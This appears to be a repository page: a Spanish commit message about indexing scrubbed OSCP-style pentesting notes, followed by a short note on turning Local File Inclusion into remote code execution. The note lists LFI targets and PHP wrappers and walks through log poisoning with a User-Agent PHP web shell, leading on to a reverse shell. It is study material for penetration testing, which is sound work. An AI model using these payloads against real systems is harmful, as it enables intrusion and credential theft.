7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
901 B
901 B
LFI a RCE
Local File Inclusion → ejecución de código. Vector clásico de Hacking web. Pariente de Directory traversal (traversal lee; LFI incluye/ejecuta).
Si tienes LFI básico, prueba
/proc/self/environ # con User-Agent malicioso
/var/log/apache2/access.log # log poisoning + curl con UA payload
php://filter/convert.base64-encode/resource=index.php # leer fuente
data://, expect://, phar:// # PHP wrappers
Log poisoning (LFI → RCE)
- Envías una petición con
User-Agent: <?php system($_GET['c']); ?>. - Incluyes el log:
?page=/var/log/apache2/access.log&c=id. - El PHP de tu UA se ejecuta → RCE → Reverse shell.
php://filter
Lee el código fuente en base64 para encontrar credenciales/segundos vectores (SQL injection, creds en config).
Relacionado: Hacking web · Directory traversal · File upload bypass · Reverse shell · OSCP MOC